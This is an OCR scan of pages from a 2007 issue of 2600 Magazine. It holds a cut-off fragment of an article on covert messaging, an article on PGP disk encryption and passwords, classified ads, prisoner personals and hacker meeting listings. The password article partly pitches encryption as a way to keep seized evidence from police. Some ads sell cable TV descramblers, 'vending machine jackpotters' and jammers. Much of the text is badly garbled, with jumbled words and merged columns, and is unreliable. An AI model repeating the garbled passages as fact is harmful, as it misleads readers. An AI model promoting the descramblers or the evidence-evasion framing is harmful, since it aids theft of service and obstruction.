Operation Larry

I know what you're thinking. Could the above technique work by sending 64-bit encoded
images? In theory yes, but in practice most likely not. That's because a lot of programmers
wisely limited the size of the submitted message in their scripts, But that's not going to
deter Shemp and Curly. They've thought of another way to communicate: Java-to-Javascript
communication.

This next technique has two requirements but, believe it or not, it's actually not impos-
sible to find a website that fulfills them. In fact, | actually know of such a website, but | won't
mention it since they have been very good to me. Anyway, the requirements are these:

\_ 2 The website allows users to have accounts (creating html pages and an email accounl))
Page 56 2600 Magazine




(7 b There s don SMTP serves and HTML webierer running on i wme mschins, N
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by comfreak
comfreak@gmail.com

Watching cable news in October | saw
the story of Joseph Duncan, a man who
confessed to the murder of two adults and a
teenager in Idaho. For more info see Google
News and have yourself a merry time
searching. However, the crux of the sto
caught me when | heard the FBI had his
laptop and could not crack the encryption
without his password. The news reporter
asked aimless questions such as “How hard
is it to encrypt a laptop?” and “Why is the
FBI having such a hard time cracking this
laptop?” Of course, news commentators are
clueless on how easy it is to encrypt a drive
and subsequently leave even the federal
government apparently helpless.

It got me wondering just what kind of
encryption this might be that the FBI went
public with the information. Surely they
would not want to embarrass themselves
unless they truly needed this guy to give up
his password. I heard on the sameTV program
one of the officers garble something about
“It's called Pretty Good Program.” | assume
he is speaking of PGP (Pretty Good Privacy
at pgpi.org) so it just got me thinking more
and asking some questions. Can it really be
just that simple to encrypt files beyond the
power of the federal government? If it really
is so strong beyond the cracking power
of the FBI, then clearly all security comes
down to the quality of your password.

The commercial version of PGP features
an option to encrypt an entire drive or
create an encrypted virtual drive within
your drive. That makes it very easy to keep
an encrypted section and just send things
that are of a “sensitive” nature to it. It could
be the only thing between you and a jail
cell depending on your specific issue with
Page 60

the law.

Whether the federal government can
crack it or not doesn’t matter if your pass-
word is something simple like “fluffy” or
“12345". Perhaps something more obvious
like your initials or your kids name(s). For
further illustration of the absurdity of people’s
passwords I'll point to a family member of
mine who shall remain nameless. They use
the same password for everything from their
email to their financial data to their Windows
password. The punch line comes in the fact
that the same password phrase is also used
as their license plate number. | couldn’t make
that up if | tried.

The bottom line | found from this story is
that you really need to take passwords seri-
ously. Unfortunately most people don't like to
write down/remember more than one or two
simple passwords. Of course, if for “some”
reason you find yourself in a situation where
you wish you set better passwords, it will be
too late. For example, let’s say you find your-
self on the wrong side of the law and some
computer equipment is seized. Perhaps there
is “information” on that equipment which
could get you in more “trouble.” You could
end up compounding a simple problem.
However, if you are using strong encryption
and a string of tough passwords, you will be
safe. If this laptop sent to the FBI is secure,
your local crime lab will be even more
helpless.

There are some excellent password gener-
ators | found just doing a simple search:
www.winguides.com/security/password.php
www.randpass.com

More advanced generators and download-
able programs:
www.mark.ven.com/password/
WWw.grc.com/passwords. htm

2600 Magazine -




Announcing o brand new way o communicate your thoughts
and ideas about the HOPE conferences, 2600, and hacker

e
ISSUDS!

Simply go to http//talk hope.net and join the fun! We already
have many livaly discussions in progréss and you can start

your own If you feal the nead. The forum focuses mainly on
theé past and future Hackers Dn Planel Earth conferences and
theé currént battle to help save the Hotel Pennasyivania, site of

HOPE

Registration is simple, guick, and frea! See what happens when
wie all put our heads togethar

OFF THE H(

Technology fro
| Hacker Perspecti

| T e = _____¥__,
|_EEG#D_E&5T FOR ALL THE WORLD TOHEAR ||
Wednesdays, 1900-2000 ET
| WBAI 99.5 FM, New York City
WBCQ 7415 Khz - shortwave to North America |
| and at http://www.2600.com/offthehook over the net

Call us during the show at +1 212 209 2900.

Email othi@2600.com with your comments.

And yes, we are Iinterested In simulcasting on other stations or
via satellite, Contact us If you can help spread “Off The Hook™ to |
mare listénars!
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Happenings

carlingcon.ong.

CHAOS COMMUNICATION CAMP 2007, This avent will start August
Bth and last until August 12th, 2007. That's right, ladies and gentlemen.
mmmhm-mmmmmmpmlmw:sma
brand new at the Airport My in Finowfurt, directly at Finow
airport. So i you like, you can directly fly to the Camp. You can get to
the location easily with a car in fess than 30 minutes starting in Beriin
ond we will make sure thers is a shuttle connection to the next train
station. The coordinates of the location are 52.8317, 13.6779. More
datalls at coe.de.
HITBSECCONF

- s the premier network security event for
the region and the langest of hackers in Asia. Our 2007 event
|s expected to attract over 700 attendess from around the world and
will see 4 keynote spaakern in addition (o 40 deep knowledge technical
ressarchors. The conference takes place September 3rd through
September Bth in Kuala Lumpur, The Call For Papers |s open until May
1st. More detalls at http://conterance.hitb.o TRY.
ILLUMINATING THE BLACK AAT OF SECURITY. Ann, SecTor
- Securfty Education Confersnce Toronto - November 20-21, 2007,
Bringing to Canuda the world's brightest (and darkest) minds together
1o identity, disouss, dissect, and debate the Imwtdgital threats facing
corporations today. Unique to centra! Canada, SecTor provides an
unmatched opporfunity for [T professionals 1o mnd:umn with their
peers and leamn from their mentors. All speskers are true securty
professionals with depth of understanding on topies that matter Check
us out Bt www.SECtorCa 10 Ses the impressive growing fist of speakers
and be sure to sign up lor emall updates Atfiandess and Sponsom -
don't miss out, both are Emitad]

For Sale

VENDING MACHINE JACKPOTTERS. Go fo www hackersnomepage.
com for EMP Devices, Lock Picks, Fadar Jammers & Conloversial
Hacking Manuale. 407-865-5500

MAKE YOUR SOFTWARE OR WEBSITE USER FRIENDLY wiih
Foxes, the friendly mnd inleractive cartoon biue fox! Not everyone
who will navigate your website or software application wil be an
axperd hacker, and some ussrs will nesd a lttie helpl Foxes s a hand-
enimated Microsoft Agent charsttsr that will accept input thraugh volce
commanda, text boxes, o & mouse, and interact with your users through
text, animated geshures, and even digital spesch 10 haip guide them
ihrough your software with easa! Foxee supports 10 spoken lar

and 31 written languages. She can be added to your software through
Ca+, VEE, all Net languages. VBScript, JavaScript, and many others)
Natively compatible with Microsoft intemaet Explorer and can work with
Mogzilis Firefox when used with a free plug-in. See a iree demonstration
and purchasing information at www. foxes netl

TV-B8-GONE. Turn off TVs in public places! Alports, restaurants, bars,
anywhens them's a TV. See why everyone at HOPE Number Stx loved it
Tuming off TVe really is fun. £20.00 each. www.TVBGona.com

JUST RELEASED! Fesling tired during those late night hatking
sessiona? Need a boost? Il you answered yes, then you need to
reanergize with the totally new Haeck Music Voluma 1 CO, The CD 8
crammisd with high energy hack music to get you back on track. Ordar
ftoday by sending your name, address, city, stale, and 2ip siong with
$1510 mmm 1234 Birchwood Drive, Monmouth, IL 61482, This
CD was assembied solsly for 1he readers of 2600 and is not available
anywhanm slas!

NET DETECTIVE. Whather you're just curious, Irying 1o locate or find
out sbout people for personal or business reasons, or you're looking
for people you've faflen rxno{mhwﬂh Net Detective makes it all
possibla!l Net Detective is usad warld by private and
detectives, as woll &s averyday peopka who use It to find lost relatives,
o tigh school and army buddies, deadbeat parents, luat loves, peopla
that owe them money, and just plain old sncoping around. Visit us today
at www.netdetective. L

JEAH.NET SINCE 1908 - JEAH's FreeBSD shell
mmmwmmmmmmmm
argest virtual host list you'll find anywhore. JEAH lets you storo

night, mzmﬂ‘:‘whmwxﬂmﬁﬁmmnm access devices, VolP products, parental ana
Chapel Hill, North Carolina (1301 N. Fan!l!nM ‘::’- on p -mw-nwbum
is a great way to meet other like-minded >
W‘ mmmuaudww Mua‘_wwmm'muww
mummhm.mmmmmm. PHONE HOME. Tiny, sub-miniature, 7/10 ounce,

> YOUr pre-progr
number, he/she will always be able to call you! Also, ideal if you don't
want to “disclose” your telephoné number but want someone 1o be able
mcaﬂyuulocaﬂ\rwlunqdmmuby telephons. Key ring/clip. Uimitad
quantity available. order anly. $24,95 + $3.00 S/H. Mail order to:
PHONE HOME, Nimrod Civision, 331 N. New Ballas Road, Box 410802,
CRC, Missour 63141,

agu
ian, fram the author of infiltration zine. Send $20 postpaid
fnlhuUSorCanadﬂ.ufszﬁ oversaas, to PO Box 13, Station E, Toronto,
ON MEH 4E1, Canada, or arder onfine at www.infiltration.ong.
ENHANCE OR BUILD YOUR LIBRARY with any of the following CD
AOMS: Hack Attacks Testing, Computer Forenaics, Master Hacker,
Wet: Spy 2001, Hackers' Handbook, Troubh ting & O th
o8, PC Troubleshoater 2000, Forbidden Subjects 3, ankms Toolkit
2.0, Steal This CO, Hacks & Cracks, Hackere Kronickiez, Elle Hackers
Toolkit 1, Forbidden Knowiedge 2, Troubleshooting & Diagnostics 2002,
Puolice Cal Frequency Guide 2nd Editian, Cnmww Toybox Answering
Machine 2000, Hackers E k dia 3, k y drd Edition,
Network Uitilitles 2001, Sor s 2002, E 2000, Anti-
Hackor Toolkit 2nd Edition & PC Hardware, Send nama, nddmﬁc.. city,
state, zip, email address (for updates only) and tems ordered, along
with a cashier's check or money order in the amount of $20 for each
Item to: Doug Talley, 1234 Birchwood Orive, Monmouth, IL 61482
FREEDOM DOWNTIME ON DVDH Yaars in the making but we hapa
it was worth the walt. A double OVD sal that includes the two hour
documentary, an in-depth interview with Kevin Mitnkok, and neary
threa hours of axtra scenes, lost footage, and miscellansous stuff, Plus
captioning for 20 (that's right, 20) languages, commantary track, and a
lot of things you'll [ust have to find for yourselfl The entire two disc set
can ba had by sanding $30 to Freedom Downtime DVD, PO Box 752,
Middie Island, NY 11953 USA or by crdering from our online store at
hitp://store.2600.com. (VHS coples of the film afill available far $15.)
CAP'N CAUNCH WHISTLES, Brand new, only a few left. THE
OQRIGINAL WHISTLE in mint condition, never used. Join the ofite few
who own this treasurel Once they are gone, that is it - there am no
moral Keychain hale for keyring. Identify yoursalf al meetings, efc. as
a 2600 member by dangling your keychaln and saying nothing. Cover
one hale and gat exactly 2600 hz, cover the ather hole and get anothar
fraquency. Usa both holes to call your dog or dolphin. Also, ideal for
telephone remote control devices. Price Includes malling. $48.95. Not
only a collector's item but a VERY USEFUL device to carry at all times.
Cash or money order only. Mail to: WHISTLE, PO. Box 11562-5T, Ci,
Mmssouri 83106,
PHRAINE. The technology without the noise quarterly would ke to
thank the 2600 readers who have also become new subscribers and
ancourages those who have not ACK thair need for diverse computer
infarmation in conjunction with that of 2600 to dedicate some packats
and become a subscriber todayl Visit us at our new domsin www,

pearlyfreepress com/phraine.

JINX-HACKER CLOTHING/GEAR. Tired of being naked? JINX.cam
has 300+ T's, swaatshirts, stickers, and hats for those rare times that
you need to leave your housa. We've got swag for everyone, from the
budding nO0biet to the vintage gesk. So take a five minute break from
surfing prln and check out hitpy//wwaw. JINX com. Uber-Secret-Special-
Mega Promo: Use *2600v3no2* and gat 10% off of your order.
CABLE TV DESCRAMBLERS, New. Each $45 + $5.00 shipping, money
orderfcash only. Works on anslog or analog/digital cable systems,
Pnnrnunﬂ\mndsanﬁponﬂw?ﬂdmﬁqmm Cmm

sole

with 110vac power =
ullmol' mﬁsmuﬁucﬁlew

files, MWMJJMWWTstMFm.m
wirtual web hosting and

g cable
c«mw (La., Radio Shack) to be used with the unit. Cable connects

solutions aiso avallable with JEAH, Mm mnnmwm
sotup fees are waived! Join the JEAH.NET institution
NETWORKING AND SECURITY PRODUCTS available ot

to the , then the descrambler, then the outpat goes 1o TV
sdlmedhocﬂmnsla CD 9621 Olive, Box 28992-TS, Olivettel Sur,
Missouri 63132. Emait: cabledescramblerguy@yahoo.com.
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OFF THE HOOK is the weekly one hour hacker radio show presented
Wednesday nights at 7,00 pm ET on WBAI 99.5 FM In New Yark City,
You can @€o tune in over the net 5t www.2800.com/offt ar an
shortwave in North and South America at 7415 khz. Archives of ail
shows dating back to 1988 can be found at the 2600 site, nows In mp3
format! Shows from 1968-2005 are now available In DVD-R format
for $301 Or subscribe o the new high quaiity audio service for onty
$50. Each month you'll gat a newly released year of OFf The Hook in
broadcast quaiity (far better than previous onfine releases). Send check
or money order to 2600, PO Box 752, Middle Island, NY 11953 USA or

always
mmnmmmmnmmumm

- or requesi frea outdated tech ib of infl y news arlicks. These articias come
products - in exchanga for some good karma - by keeping from such s and oniine
unwanted tech items out of your The FREE and For more information, check out: hitp://www infosecnaws.org.
easy text and photo classified sh s gned to find jocal PHONE PHUN. http ephun.us. Blog o d to a
people n your area wiling 1o pick up your unwanted tech products  phene numbers. Shars your finds!
&memmd?m" vwahf;*;mmﬂm CHRISTIAN HACKERS' ASSOCIATION: Check out the wab page
wmmmm global ing prorirat g g for details. We exist to promote &

faith and for the purposs of seeing iives changed
w&dhwthm
Personals

i

1141, BO. Box 1000, Houtzdals, PA oaas-imu

PRISOMER SEEKS FRIENDS to help with book review lookups on
Amazon by Keywords. Com Sci major, thirsty to catch up to the real
world betore my reentry, | have my own funds to buy books. | only nesd
reviews. I'm MUD/MMORPG savy in Ces/Python/PHP/MYSOL. I've
maoved. Please resend. Ken Roberts JE0SE2, 450-1-28M, PO Box 9,
Avenal, CA 93204,

SEEKING NON-STAGNANT MINDS for mutusl Ilumination/exchange
of thoughls and kdeas. Three years lsft on my sentence and even
wmmmmummwunmmwunyaumm

web hosting,
WNHGHILMM Ourhndhu plans start
£8 .95 per month. This includes support for Parl, PHP,
mmm«:mmdmumw Sinmm
|.u

Wa respact your privacy. Pwmhnyﬁ-ﬁold.ﬁvpﬂ.
bank transfer, or Western Union. See www.kaleton.com for

YOU TIRED ol receiving ples of credit card offers and other
postal spam? You can't just throw tham in the trash or recycle them as
someone could get a hald of them and use them 1o steal mmﬂg
You can't just let them pille up on your kilchen tabls. So instead you
have to be bothered with shredding and disposing of them. Well, not
anymaore. OperationMaiiBack com has a free solufion for you. All costs

dmmmummmhmm
for sending the stuff 10 you. Stop wasting your valuabie time deaiing
with massas other people are responsibia for creating. Check out our

ol website for complats inf and take back your

i

Eggg

Jiability far computer and

Tumnm.m.dwmmmmﬁ.mmumm
as licenses, and acquisitions as well as

general business and comporate law. Over eleven years axperence

as in-house legal | to a b aa well

as an over 20 year ar in .

and tachnology Published law review articlks, contributed to

published books, and submitted brists to the United States
Court on Internet and technology related lssues. Admitied to
the U.8. Suprems Court, 2nd Circuit Court of Appeals, and all New York
State cowrts and famillar with other jurisdictions as well, Many sttomeys
will take your case without any consideration of our cultune and will ses
yuummﬂyaslmnﬂmorm.mn iil-conceived prejudices
My office understands our culture, is sympathetic to your situation, and

\ Spring 2007

[ includs sryp rrartial
arts, and anything computer riiated, All latters replisd 1o, Meax Rider,
SBI#00383681 D.C.C., 1181 Paddock Rd,, Smyrma, DE 19877,
IN SEARCH OF FRIENDS/CONTACTS: Railrorded by lying ewidente-
burying FBI sgents and U.5. Postal Inspectors for crime | didn't
commit. In court | had a snowball's chance in hall. Unless | outsmant
the mmmm by mhmmg the exoulpatory treasure trove of my
'm d for the o . There"s only a
IlmmMﬂmmmwmluulthummtuWw
without a fight. Will answer all. W. Weritworth Faster 921181, Southaast
Com‘lbn Center, 300 East Pedro Simmens Drive, Charleston, MO

omomwlnmnlmmqmmmm Unbe/Lirux | can
get my hands on, Alsa very iInterested n privacy in all areas. If you can
paint me in the right dimction or feel like teaching an old dog some new
tricks, cirop me a line. I'll answer all lotters. Props to those who already
have, you know who you are. William Lindley 822934, 1300 FM 655,
Aoshamn, TX 77563-8804,

IN SEARCH OF NEW CONTACTS avary day. | have a lot of times (o pass
and am elways up for 4 good discunsion. Joint seurce audit anyone?
Of coursa it'll have to be on paper, Inm not fimited 1o low-level
08 coding. ambadded crypto, 2om, and conspir:
theory, Will reply to o, Brian Salceds -s:nan-dm FCI MeKesan, PO,
Box B000, Bradiord, PA 16701,

ONLY SUBSCRIBERS CAN ADVERTISE IN 2600¢ Don't even think
about irying 10 take out an ad uniess you subscribel Al ads are free and
there is no amount of money we will accept for & non-subscriber ad.
We hope that's clear Of course, we reserve the right 1o pass judgment
on your ad and not print it If &'s amazingly stupid or has nothing at all
10 do with the hacker world. We make no guarantes as to the honesty,
rightecusness, sanity, etc. of the peopla advertising hers. Contact
them at your peril Al submissions ane for ONE ISSUE ONLY! If you
want 1o run your ad mom than once you must resubmit it sach time.
Wtupﬂummmﬂmmaﬂhmnau@m—uh«
include your e or a y 30 we know you're
2 subscriber mmuwmmmmw Middle
lwland, MY 11953, Deadline for Summer issue: &/1/07.
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Answer choice for Winter 2006 puzze:

“The east codes-wast codes NPA rivalry takes
its toll.” —— evanr puz2le@2600.com
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“The production of too many useful things results

in too many useless people.” - Karl Marx
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area on George St. at Gentral Sta-
tion. 8 pm,

AUSTRIA
Grez: Cale Haltestells on Jakemin-
platz.

GREECE
-mmnhommm-

mw‘?"“’“’

HELAND 5

-Dubllﬂ Nmmhgumm

Wicklow 5L beside msp&i
7pm,

ITALY
Mitan: Fiazza Loreta in front of
McDonalds.

Maonetan: Ground Zero Networks
Internet Cala, 720 Main St. 7 pm.

Fram
Waterloa: William's Coftee Pub, 170
University Ave. Wast. 7 pm.
Windsar: Liniversity al Windsar,
CAW Student Canter commons arnsa
by the large windaw, 7 pm

Quebec
il Amphithetrs, 1000,

BRAZIL Tokyo: Linux Cafa in Akihabara
Baio Haortzonte: Pelago's BaratAs.  TPELSpm.
suteng, naar the payphone. & pm. NEW ZEALAND

Auckland: London Bar, upstairs,

oy S
Calgary: Esu Claire Market food .
Ty b ek . e Cale,cona o

——p— I Load Cafe in Cuba
Vancouver: Lupo Caffe & Bar, 014 Ml 8pm
b qu& adCaln 01 ol NORMAY
Govemment St 7 o,

Manitoba Tromsoe: The upper floor st Blaa
Winnipeg: St Vital Shopping Centrs, 00k Cafe, sm:‘ s
food court by HMV. gate. 8 pm

New Brunswick

PERU
Lima: Barblonia (ex Apu Bar), en
Adcantores 455, Mirafiares, al the and
of Tarata St 8 pm.

SCOTLAND
Glasgow: Central Stallon, pay-
phares next o Platform 1, 7 pm.

BOUTH AFRICA

Johannesburg (Sandton City):

Sandion food court, 830 pm,
SWEDEN

SWITZERLAND

Ball
fue da la Gauchetiors.

CHINA
Hong Kong: Pacific Cottes in Fast-
val Walk, Kowloon Teng. 7 prm,

CZECH REPUBLIC
Prague: Lagenda pub. & pm.

DENMARK
Aalborg: Fast Eddie's pool hall,
Aarhus: In he far comer of the DSB8
cale In the ralhvay slation,
Copenhagen: Cale Blasan,
Sonduerborg: Cale Druan, ?.30 pm,

EGYPT
Port Said: At the foot of the Obelisk
(El Missaliah).

ENGLAND

Brightan: At the phana boxes by the
Selife Centre {across tha road from
the Patace Fiar). 7 pm, Payphone:
(01273) B0BE?4,
Exotor: Al the payphones, Bediord
Square. 7 pm.
London: Trocadero Shopoing Center
(near Piccadilly Circus), kowast lavel.

6:30

pm.
Manchesier: Eulla Head Pub on

aianlarSI 8 pm.

FINLAND
Halsinki: Fenniakortteli lood court
{Muorikatu 14),

FRANCE
Grenohle: Eve, campus of 5L Martin

d'Hares, 6 pm,
Paris: Place de la Rewhuque riaar

Box" close (o Place de 's Republique.
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L n front of the MacDa
boside the frain station.

UMNITED STATES

Alabama
Aubumn: The shudent loungs upstairs
i tha Foy Union Bullding, 7 pm,
Huntsville: Stanbeo's Sub \ﬁle an
Jordan
Tuscalogaa: MeFarand Mall lood
court near he front

food court. € pm,
Jha I the back o e
Funasmwu

mwwhﬁnﬂ? ﬁuzm.
For

Chicago: Neighborhood and
Girls Club, 2501 W, m‘gaggk
Ad. 7 pm.

Louisiana
Baton Rouge: in the L5U Union
Buiiding, between the Tiger Pause &
MeDonalkd's. i pm.
New Orisans: Zolz Coffes House
upfown at 8210 Gak Straet. 6 pm.

Maine
Portiand: Maine Mall by the bench at
the food court door,

Maryland
Baftimore: Barmes & Noble cate at
the Inner Harbar.

Mussachusetts
Boston: Prudential Center Pluza,
terrace food court at the tables near
the windaws, § pm.
Mariborough: Solomon Park Mall
Toed court.
of Hay-

Arizona
Tucson: Borders in the Park Mall,
7 pm,

Calltornia
Irvine: Panera Bread, 3988 Barranca
‘arkway.

main enirance by
Payphones: (213) 972-9518, 9520;
626-0923, 0024, 613-9704, 9746,
Sacramento: Round Tabie Pizza al
127 K 5u
San Diego: Aegents Pizza, 4150
s'ﬂegonlst Fow #770.
n Fi i 4

MNor 1 Dy i
markat Cafe. &:30 pm,

Michigan
Ann Arbor: Starbucks in The Galleria

" Hilisboro Slreet {next o the Playmk-

York \
Mew York: Citigroup Center, in the

’;!N

.
: Royal Baan colfes shop on
&rs Sporis Bar and across from
Meredilth Caliege).
North

Dakota
Fargo: West Acres Mali food court by
the Taco John's.

Daylon: TGIFstoﬁ?%bvm
Dayton Mail.

Oklahoma City: Cale Belta, south-
aast comer of SW 83th 51 and Penn,
Tulsa: Promenade Mall food court.

Oregon
Portland: Backspata Cafe, 115 NW
5th Ave. & pm.

east food court near mini post office.

Cawoline
Charleston: Norhwoods Mall in the
hall between Sears and Chik-Fil-A.

South Dakota
zn‘;aFdqunlimMnu‘bvBm

Tennosses
x.-mmmaommm
across from Weslown Mal
mmmm.am
Popiar Ave. 6 pm,
mﬂswlﬁlﬂ
Broadway, 8 pm.

Toxas
Austin: Spider House Cale, 2008
Fruth St 7 pm.
Houston: Ninfa's Express in fron of
Nordstrom's in the Gallars Mall.
Ban Antonic: North Star Mall food
court. & pm.

on South University, Utah
Salt Laka City: ZCMI Mall in The
nnesots Park Food Court
Bloomington: Mall of Amadica, north
sida tood court, acrosa rom Burger Vermant
& the bank of payp that Borgers Books al
don't take incoming Church St. and Cherry St on the
second fioor of the: cale.
Missouri

Kanasas Clty (Independance):

Bames & Noble, 19120 Easi 39th S1.

5t Louls: Galleria Food Court.

sprlnqma: amem Books and
3300 South

ane block south of

Plaza (insids). F : (415)
358-9603, 9604, 9605, 9806,
5:30 prn.

San Jose: Outgide the cais &t the
MLEK Library a1 41h and E. San
Femanda, 8 pm.

Colorado
Boulder: Wing Zone food court, 13th
and Callage, & pm.
Denver: Borders Cale, Parkar and
Arapahon,

District of Columbik

Ave.,
Battlafieid Mall, 6:30 pm.

MNebraska
Omaha: Crossroads Mall Food
Court. 7 pm.

Nevada
Las Vegaa: Coffes Bean Tea Laaf
coffee shop, 4550 3. Maryland
Plowy. 7 pm,

al New

Arlington: Pantagon City Mal in the
faod court (near Au Bon Pain), & pm.

Florida
FL Lauderdale: Broward Mall in ine

Menedeo Smm Unicn Building {plaza

Virginla
Arlington: (ses Distigt of Columbia)
Virginia Basch: Lynnhaven Mall on
Lyrritiaven Parkway. 6 pm.

Seaiile: State Conven-
Yon Cenler. 2nd level, south sida,
@ pm.

Wisconsin
Madison: Union Sguth (227 N.
Randail Ave.) on tha lowsr level in
the Mariin Luther King Jr. Lounge.
Payphona: (508) 251-9909,

All mestings take place
first Friday of the month. Unless
otherwise noted, they start at 5 pm
local time. To start a meeting in
yaur city, send amail to
meetings & 2600.com.
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Strange Foreign Phones

Separated at Birth?

aalil

B a

IThl-’ phone on the left was spotted in Chiang Mai,

And its relative was found all the way over in

Thailand. Fushe Kosove, Kosovo, Serbia.
Photo by Mediatech Photo by Mark Johnson
SNAFU?
By
Shalie paald sut 1tart becante the Tellswisy File I alssing
-
w ey ten 01 411
inh i copy of Phe adese file
. :
', 4

DPne of those Internet terminals that can be found throughout London, England. And, as with many
levices in London, this one had a bit of a problem.
Photo by Siegfried Loeffler

Visit http://www.2600.com/phones/ to see even more foreign payphone photos!
(Or turn to the inside front cover to see more right now.)




The Back Gover Photo

Streets are the theme for the back cover of the Spring issue. And here we see an aptly
named intersection in Bellevue, Washington spotted by Pat. Naturally, we are being
given the right of way. Please don't ask why 2600 crossed the road.

[ H
It's very fortunate for us that the word “hacking” is also a somewhat popular surname. So
that means there are all sorts of great photo opportunities out there. This one was taken
at Blackpool Pleasure Beach in England. Yeah, that’s a strange name too, but the U.K. is
full of them. The street was named after one Victor Hacking, a longtime employee of the
beach and its associated pleasure(s). Spotted by d2812.

Seen a photo with “2600” in it or something of interest 1o the hacker world? Send it
on in! Be sure to use the highest quality settings on your camera to increase the odds

of it getting printed.

Email vour submissions to articles@2600.com or use snail mail to:
2600 Editorial Dept., PO Box 99, Middle Island, NY 11953 USA.

If we use your picture, you'll get a free two-year subscription (or back issues) and a

2600 sweatshirl (or two t-shirts).
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